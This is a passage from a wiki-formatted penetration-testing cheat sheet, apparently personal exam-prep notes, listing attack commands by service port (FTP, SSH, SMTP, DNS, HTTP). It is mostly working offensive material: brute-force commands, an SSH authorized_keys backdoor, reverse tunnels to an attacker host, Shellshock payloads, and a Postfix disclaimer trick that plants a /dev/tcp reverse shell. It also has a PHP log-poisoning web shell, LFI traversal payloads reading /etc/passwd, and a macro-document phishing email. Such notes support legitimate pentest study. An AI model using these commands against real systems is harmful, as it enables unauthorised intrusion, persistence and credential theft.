== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
